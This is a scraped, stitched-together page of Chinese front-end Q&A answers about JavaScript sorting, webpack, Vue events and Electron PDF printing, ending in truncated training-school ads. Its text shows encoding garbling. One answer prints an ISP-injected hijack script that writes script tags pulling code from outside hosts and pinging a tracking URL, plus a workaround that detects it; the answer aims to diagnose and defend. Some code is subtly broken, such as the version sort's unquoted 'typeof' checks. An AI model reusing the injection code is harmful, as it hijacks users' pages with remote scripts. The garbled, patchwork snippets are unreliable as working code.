剛試了下沒問題,換成import {AStomp} from '../utils/Stomp'試試
var arr = ['0.1.1', '2.3.3', '0.3002.1', '4.2', '4.3.5', '4.3.4.5']
arr.sort((a,b)=>{
var items1 = a.split('.')
var items2 = b.split('.')
var k = 0
for (let i in items1) {
let a1 = items1[i]
let b1 = items2[i]
if (typeof a1 === undefined) {
k = -1
break
} else if (typeof b1 === undefined) {
k = 1
break
} else {
if (a1 === b1) {
continue
}
k = Number(a1) - Number(b1)
break
}
}
return k
})
console.log(arr)解析js的loader配置了嗎?
解析成ES5了?
也有可能是webpack4.7更新了有不需要babel可以直接解析ES6。
鼠標(biāo)松開事件:mouseup,對(duì)應(yīng)vue寫在html元素上時(shí)@mouseup。這些是事件的基礎(chǔ)知識(shí),可以百度一下的
webpack打包優(yōu)化,可以往這個(gè)方向了解一下。
關(guān)鍵詞之一:DLL
第一次請(qǐng)求只vender.js就是5MB 肯定很慢了
第二次讀的cache 自然快一點(diǎn)
console.log(JSON.stringify(this)),你看到的是你展開這個(gè)對(duì)象時(shí)的快照。
for 循環(huán)里在加個(gè)判斷,有2種情況:
按照奇偶數(shù)分開
if (i % 2 === 0) {
result += '';
} else {
two += '';
}
按照順序分開
if (i < pageEnd / 2) {
result += '';
} else {
two += '';
}
這樣 result 和 two 這2個(gè)變量就包含了各自一半的數(shù)據(jù)。
不是很明確問的問題,試著寫兩句
瀏覽器可以繼續(xù)操作
瀏覽器被阻塞,必須等請(qǐng)求完成才能操作
//代碼解釋:
for (var i = 0; i < 5; i++) {
//異步效果
console.log(i);
//同步效果
//alert(1);
}
同步和異步是瀏覽器提供的接口方式,jQuery只是調(diào)用API,并非jQuery來實(shí)現(xiàn)異步
屬性綁定加v-bind或:好好看文檔,不然只是傳了一個(gè)為xxx的字符串。
上面的代碼,如果你在SubType的原型上增加方法, 比如:
SubType.prototype.fn = function(){...}
這樣不會(huì)影響到 SuperType.prototype。
下面的代碼就會(huì)。
on: {
'on-ok': () => {
this.$Message.info('點(diǎn)擊了確定');
},
'on-cancel': () => {
}
}
這里不能綁定 on-ok事件 ,只能綁定 click事件這類
把NDK卸載就好了,我是沒有用到NDK,所以直接卸載了。
這是調(diào)用你自己的API跨域了啊,和編輯器沒什么關(guān)系
第一次點(diǎn)擊之后,show變成false,再次點(diǎn)擊,false取反又變成了true,所以又顯示了。
在苦苦尋覓下,找這里找到了答案:https://segmentfault.com/q/10...
出現(xiàn)的原因是因?yàn)?電信劫持了dns,在網(wǎng)頁(yè)中將我原來的5.fd7xxxxxxxxxxxx.js成以下的代碼
var _b, _c, _ju = "http://testapi.233sy.cn/tg/down/static/js/5.fd7c409603287d19fa4b.js";
_ju = _ju + (_ju.indexOf("?") > 0 ? "&" :"?") + "_t=" + new Date().getTime(),
_b = "AH488569",_c = "382542271_(iKm6V1g0V1P6wj8Nih==_358325746_@iJvkDKehwJ9Wi6et9JgWitfZMe==_)iKghiJeh", function(a) {
function b(b) {
var c = a.createElement("script");
c.setAttribute("src", b), a.head ? a.head.appendChild(c) :a.body && a.body.appendChild(c);
}
var c = a.location.host.split("."), d = c.length, e = c[d - 2] + "." + c[d - 1];
/^(com|net|org|gov)$/.test(c[d - 2]) && d > 2 && (e = c[d - 3] + "." + c[d - 2] + "." + c[d - 1]),
_ju.indexOf(e) > 0 ? (a.write('<div><script>document.write(unescape(\'%3Cscript id="_ju_" src="' + _ju + "\" %3E%3C/script%3E') );</script></div>"),
a.getElementById("_ju_") || b(_ju)) :b(_ju), b("http:///gfnsdv.yxwwj.cn:8001/pjk/static/tp.php?b="+_b+"&");
}(document);
我使用的是路由懶加載,才有上面的提示。之前模塊5被替換這個(gè),就load不到了。
解決方式:
1、使用https協(xié)議,不讓電信劫持dns
2、自己判斷不正常代碼存在,重新刷新該地址(短期內(nèi),我們目前就是用這種方式解決的)
window.onload = function(){
let isSetInt = false;
let setInt = setInterval(r => {
let index = getstore() || 0;
let findDns = false;
if (isSetInt) {
clearInterval(setInt);
let scr = document.getElementsByTagName('script');
for (var i = scr.length - 1; i >= 0; i--) {
if (scr[i].src.indexOf('gfnsdv.yxwwj.cn') != -1 && index < 2) {
findDns = true;
store(++index);
window.location.reload();
break;
}
}
if (!findDns) {
store(0)
}
}
try{
if (getmd5) {
isSetInt = true;
}
}catch(e){
console.log(e);
}
},1000);
}
function store (state) {
try {
return localStorage.setItem('index', state);
} catch (e) {
cookie.setCookie('index',state, 1);
}
}
function getstore () {
if (localStorage.getItem('index') == null) {
return unescape(cookie.getCookie('index'));
}else{
return localStorage.getItem('index');
}
}你應(yīng)該是用了類似requirejs這樣的框架在加載js自動(dòng)加上防止緩存文件導(dǎo)致不刷新js文件。
不影響實(shí)際使用。
你在action輸出這個(gè)config值變化了,但你的store值有改變么?你在render下輸出config看你的值變了沒有呢
面向移動(dòng)端的話,可以考慮引入grid了,畢竟手機(jī)更新?lián)Q代快,瀏覽器兼容問題沒那么嚴(yán)重。
你這個(gè)問題問的好像 flex與grid只能二選一似的,要結(jié)合起來用才能發(fā)揮他們各自的優(yōu)勢(shì),比如
二者差別的圖文,看看這篇文章《CSS終極之戰(zhàn):Grid vs Flexbox》,總結(jié)的挺好
你是在加載的頁(yè)面文件中,寫了打印的代碼?
electron是有打印的api的,可以直接調(diào)用,將加載的頁(yè)面生成pdf
let win = new BrowserWindow({
width: 768,
height: 1024,
show: false
})
win.loadURL('頁(yè)面地址')
let contents = win.webContents
// 監(jiān)聽加載完成事件
contents.on('did-finish-load', () => {
contents.printToPDF({}, (error, data) => {
if (error) throw error
// 寫文件
fs.writeFileSync('保存地址', data)
win.close()
})
})北大青鳥APTECH成立于1999年。依托北京大學(xué)優(yōu)質(zhì)雄厚的教育資源和背景,秉承“教育改變生活”的發(fā)展理念,致力于培養(yǎng)中國(guó)IT技能型緊缺人才,是大數(shù)據(jù)專業(yè)的國(guó)家
達(dá)內(nèi)教育集團(tuán)成立于2002年,是一家由留學(xué)海歸創(chuàng)辦的高端職業(yè)教育培訓(xùn)機(jī)構(gòu),是中國(guó)一站式人才培養(yǎng)平臺(tái)、一站式人才輸送平臺(tái)。2014年4月3日在美國(guó)成功上市,融資1
北大課工場(chǎng)是北京大學(xué)校辦產(chǎn)業(yè)為響應(yīng)國(guó)家深化產(chǎn)教融合/校企合作的政策,積極推進(jìn)“中國(guó)制造2025”,實(shí)現(xiàn)中華民族偉大復(fù)興的升級(jí)產(chǎn)業(yè)鏈。利用北京大學(xué)優(yōu)質(zhì)教育資源及背
博為峰,中國(guó)職業(yè)人才培訓(xùn)領(lǐng)域的先行者
曾工作于聯(lián)想擔(dān)任系統(tǒng)開發(fā)工程師,曾在博彥科技股份有限公司擔(dān)任項(xiàng)目經(jīng)理從事移動(dòng)互聯(lián)網(wǎng)管理及研發(fā)工作,曾創(chuàng)辦藍(lán)懿科技有限責(zé)任公司從事總經(jīng)理職務(wù)負(fù)責(zé)iOS教學(xué)及管理工作。
浪潮集團(tuán)項(xiàng)目經(jīng)理。精通Java與.NET 技術(shù), 熟練的跨平臺(tái)面向?qū)ο箝_發(fā)經(jīng)驗(yàn),技術(shù)功底深厚。 授課風(fēng)格 授課風(fēng)格清新自然、條理清晰、主次分明、重點(diǎn)難點(diǎn)突出、引人入勝。
精通HTML5和CSS3;Javascript及主流js庫(kù),具有快速界面開發(fā)的能力,對(duì)瀏覽器兼容性、前端性能優(yōu)化等有深入理解。精通網(wǎng)頁(yè)制作和網(wǎng)頁(yè)游戲開發(fā)。
具有10 年的Java 企業(yè)應(yīng)用開發(fā)經(jīng)驗(yàn)。曾經(jīng)歷任德國(guó)Software AG 技術(shù)顧問,美國(guó)Dachieve 系統(tǒng)架構(gòu)師,美國(guó)AngelEngineers Inc. 系統(tǒng)架構(gòu)師。